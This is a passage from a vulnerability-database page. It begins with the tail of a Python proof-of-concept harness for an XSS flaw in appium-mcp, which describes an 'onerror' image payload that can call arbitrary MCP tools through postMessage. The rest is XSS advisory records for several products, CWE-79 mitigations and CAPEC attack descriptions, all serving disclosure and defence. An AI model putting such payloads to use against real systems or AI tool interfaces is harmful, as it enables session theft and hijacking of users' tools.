\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n build_ok, build_err = build_image()\n if not build_ok:\n write_result({\n \"passed\": False,\n \"verdict\": \"FAIL\",\n \"reason\": (\n \"Docker \uc774\ubbf8\uc9c0 \ube4c\ub4dc \uc2e4\ud328. npm install \ub610\ub294 TypeScript \ucef4\ud30c\uc77c \uc624\ub958\uac00 \ubc1c\uc0dd\ud568. \"\n \"\uc624\ub958 \uba54\uc2dc\uc9c0\ub97c \ud655\uc778\ud558\uc5ec \ub204\ub77d\ub41c \ud328\ud0a4\uc9c0\ub098 \ud638\ud658\uc131 \ubb38\uc81c\ub97c \ud574\uacb0\ud55c \ub4a4 \uc7ac\uc2dc\ub3c4 \ud544\uc694.\"\n ),\n \"build_command\": BUILD_CMD,\n \"run_command\": RUN_CMD,\n \"poc_command\": POC_CMD,\n \"evidence\": f\"Build error (last 2000 chars):\\n{build_err[-2000:]}\",\n \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n })\n sys.exit(1)\n\n # \u2500\u2500 Run \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n exit_code, stdout, stderr = run_exploit()\n\n # \u2500\u2500 Verdict \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n xss_confirmed = (exit_code == 0) and (\"XSS CONFIRMED\" in stdout)\n evidence = extract_evidence(stdout)\n\n if xss_confirmed:\n write_result({\n \"passed\": True,\n \"verdict\": \"PASS\",\n \"reason\": (\n \"\ucee8\ud14c\uc774\ub108 \ub0b4\ubd80\uc5d0\uc11c \uc2e4\uc81c \uc2e4\ud589\uc744 \ud1b5\ud574 XSS \ucde8\uc57d\uc810\uc774 \ud655\uc778\ub428. \"\n \"generateAllElementLocators()\uac00 XML \uc18d\uc131\uc758 \u0026lt;img\u0026gt; \uc5d4\ud2f0\ud2f0\ub97c \"\n \"\uc6d0\uc2dc HTML \ud0dc\uadf8 \u003cimg src=x onerror=...\u003e\ub85c \ub514\ucf54\ub529\ud558\uace0, \"\n \"createLocatorGeneratorUI()\uac00 \uc774\ub97c HTML \uc774\uc2a4\ucf00\uc774\ud504 \uc5c6\uc774 \uadf8\ub300\ub85c \uc0bd\uc785\ud568. \"\n \"MCP UI \ub80c\ub354\ub7ec(iframe/WebView)\uc5d0\uc11c \ud574\ub2f9 HTML\uc744 \ub80c\ub354\ub9c1\ud558\uba74 onerror \ud578\ub4e4\ub7ec\uac00 \uc2e4\ud589\ub418\uc5b4 \"\n \"window.parent.postMessage()\ub97c \ud1b5\ud574 \uc784\uc758 MCP \ub3c4\uad6c\ub97c \ud638\ucd9c\ud560 \uc218 \uc788\uc74c.\"\n ),\n \"build_command\": BUILD_CMD,\n \"run_command\": RUN_CMD,\n \"poc_command\": POC_CMD,\n \"evidence\": evidence,\n \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n })\n print(\"[PASS] XSS exploit confirmed.\")\n sys.exit(0)\n else:\n reason_detail = (\n f\"\ucee8\ud14c\uc774\ub108 \uc885\ub8cc \ucf54\ub4dc: {exit_code}. \"\n \"\u0027XSS CONFIRMED\u0027 \ubb38\uc790\uc5f4\uc774 \ucd9c\ub825\uc5d0 \uc5c6\uc74c. \"\n \"exploit.mjs \ub610\ub294 Dockerfile\uc744 \ud655\uc778\ud558\uace0 \uc7ac\uc2dc\ub3c4 \ud544\uc694.\"\n )\n write_result({\n \"passed\": False,\n \"verdict\": \"FAIL\",\n \"reason\": reason_detail,\n \"build_command\": BUILD_CMD,\n \"run_command\": RUN_CMD,\n \"poc_command\": POC_CMD,\n \"evidence\": (stdout + \"\\n\" + stderr)[:3000],\n \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n })\n print(f\"[FAIL] Exploit did not produce expected output (exit_code={exit_code}).\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n```",
"id": "GHSA-x975-rgx4-5fh4",
"modified": "2026-06-19T21:43:14Z",
"published": "2026-06-19T21:43:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/appium/appium-mcp/security/advisories/GHSA-x975-rgx4-5fh4"
},
{
"type": "WEB",
"url": "https://github.com/appium/appium-mcp/commit/e222bbbd6fe2b656a320efcd143563f08061a83d"
},
{
"type": "PACKAGE",
"url": "https://github.com/appium/appium-mcp"
},
{
"type": "WEB",
"url": "https://github.com/appium/appium-mcp/releases/tag/v1.85.10"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "appium-mcp: Unescaped Locator Data XSS in MCP-UI Resource (createLocatorGeneratorUI)"
}
GHSA-X97G-3GP9-CF2P
Vulnerability from github – Published: 2022-04-23 00:40 – Updated: 2025-03-12 15:53Cross-site Scripting (XSS) in Jenkins main before 1.482 and LTS before 1.466.2 allows remote attackers to inject arbitrary web script or HTML via a crafted URL that points to Jenkins.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.main:jenkins-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.466.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.main:jenkins-core"
},
"ranges": [
{
"events": [
{
"introduced": "1.467"
},
{
"fixed": "1.482"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2012-4439"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-12T15:53:52Z",
"nvd_published_at": "2019-11-18T21:15:00Z",
"severity": "MODERATE"
},
"details": "Cross-site Scripting (XSS) in Jenkins main before 1.482 and LTS before 1.466.2 allows remote attackers to inject arbitrary web script or HTML via a crafted URL that points to Jenkins.",
"id": "GHSA-x97g-3gp9-cf2p",
"modified": "2025-03-12T15:53:52Z",
"published": "2022-04-23T00:40:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-4439"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2012-4439"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/jenkins"
},
{
"type": "WEB",
"url": "https://security-tracker.debian.org/tracker/CVE-2012-4439"
},
{
"type": "WEB",
"url": "https://www.cloudbees.com/jenkins-security-advisory-2012-09-17"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2012/09/21/2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Jenkins allows Cross-Site Scripting (XSS) via Crafted URL"
}
GHSA-X97P-V74Q-WCWJ
Vulnerability from github – Published: 2025-09-22 21:30 – Updated: 2026-04-01 18:36Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in BuddyDev BuddyPress Notification Widget allows Stored XSS. This issue affects BuddyPress Notification Widget: from n/a through 1.3.3.
{
"affected": [],
"aliases": [
"CVE-2025-58263"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-22T19:16:12Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027) vulnerability in BuddyDev BuddyPress Notification Widget allows Stored XSS. This issue affects BuddyPress Notification Widget: from n/a through 1.3.3.",
"id": "GHSA-x97p-v74q-wcwj",
"modified": "2026-04-01T18:36:15Z",
"published": "2025-09-22T21:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58263"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/buddypress-notifications-widget/vulnerability/wordpress-buddypress-notification-widget-plugin-1-3-3-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-X97W-4GG4-C3FH
Vulnerability from github – Published: 2025-09-11 18:35 – Updated: 2025-09-11 18:35A vulnerability was determined in Ascensio System SIA OnlyOffice up to 12.7.0. Impacted is an unknown function of the file /Products/Projects/Messages.aspx of the component Comment Handler. Executing manipulation can lead to cross site scripting. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized. The vendor was informed early about this issue and replied: "We are already working on this case, and the issues will be resolved in one of the upcoming patches."
{
"affected": [],
"aliases": [
"CVE-2025-10255"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-11T16:15:33Z",
"severity": "MODERATE"
},
"details": "A vulnerability was determined in Ascensio System SIA OnlyOffice up to 12.7.0. Impacted is an unknown function of the file /Products/Projects/Messages.aspx of the component Comment Handler. Executing manipulation can lead to cross site scripting. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized. The vendor was informed early about this issue and replied: \"We are already working on this case, and the issues will be resolved in one of the upcoming patches.\"",
"id": "GHSA-x97w-4gg4-c3fh",
"modified": "2025-09-11T18:35:50Z",
"published": "2025-09-11T18:35:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10255"
},
{
"type": "WEB",
"url": "https://hkohi.ca/vulnerability/21"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.323615"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.323615"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.635871"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-X987-V768-6R8X
Vulnerability from github – Published: 2022-05-24 17:38 – Updated: 2022-05-24 17:38** UNSUPPORTED WHEN ASSIGNED ** Reflected XSS in Quest Policy Authority 8.1.2.200 allows remote attackers to inject malicious code into the browser via a specially crafted link to the /WebCM/Applications/Search/index.jsp file via the added parameter. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.
{
"affected": [],
"aliases": [
"CVE-2020-35719"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-11T03:15:00Z",
"severity": "MODERATE"
},
"details": "** UNSUPPORTED WHEN ASSIGNED ** Reflected XSS in Quest Policy Authority 8.1.2.200 allows remote attackers to inject malicious code into the browser via a specially crafted link to the /WebCM/Applications/Search/index.jsp file via the added parameter. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.",
"id": "GHSA-x987-v768-6r8x",
"modified": "2022-05-24T17:38:38Z",
"published": "2022-05-24T17:38:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35719"
},
{
"type": "WEB",
"url": "https://clandestinelabs.io/security-advisories/advisory-multiple-vulnerabilities-in-quest-policy-authority-for-unified-communications"
},
{
"type": "WEB",
"url": "https://un4gi.io/blog/multiple-vulnerabilities-in-quest-policy-authority-for-unified-communications"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-X98F-CH4G-QJ56
Vulnerability from github – Published: 2022-05-24 16:49 – Updated: 2024-04-04 01:13KEYNTO Team Password Manager 1.5.0 allows XSS because data saved from websites is mishandled in the online vault.
{
"affected": [],
"aliases": [
"CVE-2019-13380"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-07-09T21:15:00Z",
"severity": "MODERATE"
},
"details": "KEYNTO Team Password Manager 1.5.0 allows XSS because data saved from websites is mishandled in the online vault.",
"id": "GHSA-x98f-ch4g-qj56",
"modified": "2024-04-04T01:13:23Z",
"published": "2022-05-24T16:49:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-13380"
},
{
"type": "WEB",
"url": "https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2019-0010"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2019/Jul/5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-X995-4Q6W-CRWJ
Vulnerability from github – Published: 2022-10-17 19:00 – Updated: 2022-10-19 19:00An issue in Incident Timelines has been discovered in GitLab CE/EE affecting all versions starting from 14.9 before 15.1.6, all versions starting from 15.2 before 15.2.4, all versions starting from 15.3 before 15.3.2.which allowed an authenticated attacker to inject arbitrary content. A victim interacting with this content could lead to arbitrary requests.
{
"affected": [],
"aliases": [
"CVE-2022-2527"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-10-17T16:15:00Z",
"severity": "HIGH"
},
"details": "An issue in Incident Timelines has been discovered in GitLab CE/EE affecting all versions starting from 14.9 before 15.1.6, all versions starting from 15.2 before 15.2.4, all versions starting from 15.3 before 15.3.2.which allowed an authenticated attacker to inject arbitrary content. A victim interacting with this content could lead to arbitrary requests.",
"id": "GHSA-x995-4q6w-crwj",
"modified": "2022-10-19T19:00:18Z",
"published": "2022-10-17T19:00:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2527"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/1647446"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/cves/-/blob/master/2022/CVE-2022-2527.json"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/368676"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
- Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
- For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
- Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
- etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
- Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- HTML body
- Element attributes (such as src="XYZ")
- URIs
- JavaScript sections
- Cascading Style Sheets and style property
Mitigation MIT-6
Strategy: Attack Surface Reduction
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-27
Strategy: Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Mitigation MIT-30.1
Strategy: Output Encoding
- Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
- The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
With Struts, write all data from form beans with the bean's filter attribute set to true.
Mitigation MIT-31
Strategy: Attack Surface Reduction
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
- Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-209: XSS Using MIME Type Mismatch
An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.
CAPEC-588: DOM-Based XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.
CAPEC-591: Reflected XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is "reflected" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application.
CAPEC-592: Stored XSS
An adversary utilizes a form of Cross-site Scripting (XSS) where a malicious script is persistently "stored" within the data storage of a vulnerable web application as valid input.
CAPEC-63: Cross-Site Scripting (XSS)
An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.